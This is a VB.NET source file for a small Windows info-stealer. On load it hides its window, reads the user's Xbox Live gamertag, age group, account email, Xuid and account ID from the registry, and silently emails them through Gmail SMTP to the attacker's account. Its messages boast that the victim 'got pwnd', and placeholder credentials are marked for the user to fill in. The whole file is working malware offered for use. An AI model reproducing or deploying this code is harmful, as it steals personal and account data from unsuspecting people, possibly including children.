Imports Microsoft.Win32
Imports System.Net.Mail
Imports System.Net

Public Class Form1
    Private Sub Form1_Load(sender As Object, e As EventArgs) Handles MyBase.Load

        Me.Hide()




        Dim mee = "HKEY_CURRENT_USER\SOFTWARE\Microsoft\XboxLive"





        Dim reg = My.Computer.Registry.CurrentUser.OpenSubKey("SOFTWARE\Microsoft\XboxLive")

        My.Computer.Registry.CurrentUser.OpenSubKey("SOFTWARE\Microsoft\XboxLive")

        Dim dunk = My.Computer.Registry.GetValue(mee, "gamertag", Nothing)
        Dim dunnk = My.Computer.Registry.GetValue(mee, "AgeGroup", Nothing)
        Dim dunnnk = My.Computer.Registry.GetValue(mee, "UserName", Nothing)
        Dim dunnnnk = My.Computer.Registry.GetValue(mee, "Xuid", Nothing)
        Dim dunnnnnk = My.Computer.Registry.GetValue(mee, "AccountId", Nothing)




        Dim enter = Environment.NewLine
        Dim gmailUser = "GMAILHERE" 'CHANGE THIS CHANGE THIS CHANGE THIS CHANGE THIS CHANGE THIS CHANGE THIS CHANGE THIS CHANGE THIS CHANGE THIS CHANGE THIS CHANGE THIS CHANGE THIS CHANGE THIS

        Dim gmailPass = "PASSWORDHERE" 'CHANGE THIS CHANGE THIS CHANGE THIS CHANGE THIS CHANGE THIS CHANGE THIS CHANGE THIS CHANGE THIS CHANGE THIS CHANGE THIS CHANGE THIS CHANGE THIS CHANGE THIS

        Dim toEmail = gmailUser
        Dim fromEmail = gmailUser
        Dim userName As String = Environment.UserName
        Dim computerName As String = Environment.UserName
        Dim subject = Environment.UserName + " Just Got Pwnd By You!"

        Dim body = "You Just Rekted " + Environment.UserName + ", Here's Some Info!" + enter + enter + "GamerTag: " + dunk + enter + enter + "Child Or Adult: " + dunnk + enter + enter + "Email: " + dunnnk + enter + enter + "Xbox ID: " + dunnnnk + enter + enter + "Account ID: " + dunnnnnk + enter + enter + "DONE! Have Fun With This! :D"

        Dim message As New MailMessage(fromEmail, toEmail, subject, body)
        Dim smtp As New SmtpClient("smtp.gmail.com", 587)

        smtp.EnableSsl = True
        smtp.Credentials = New NetworkCredential(gmailUser, gmailPass)


        smtp.Send(message)


        Me.Close()
    End Sub
End Class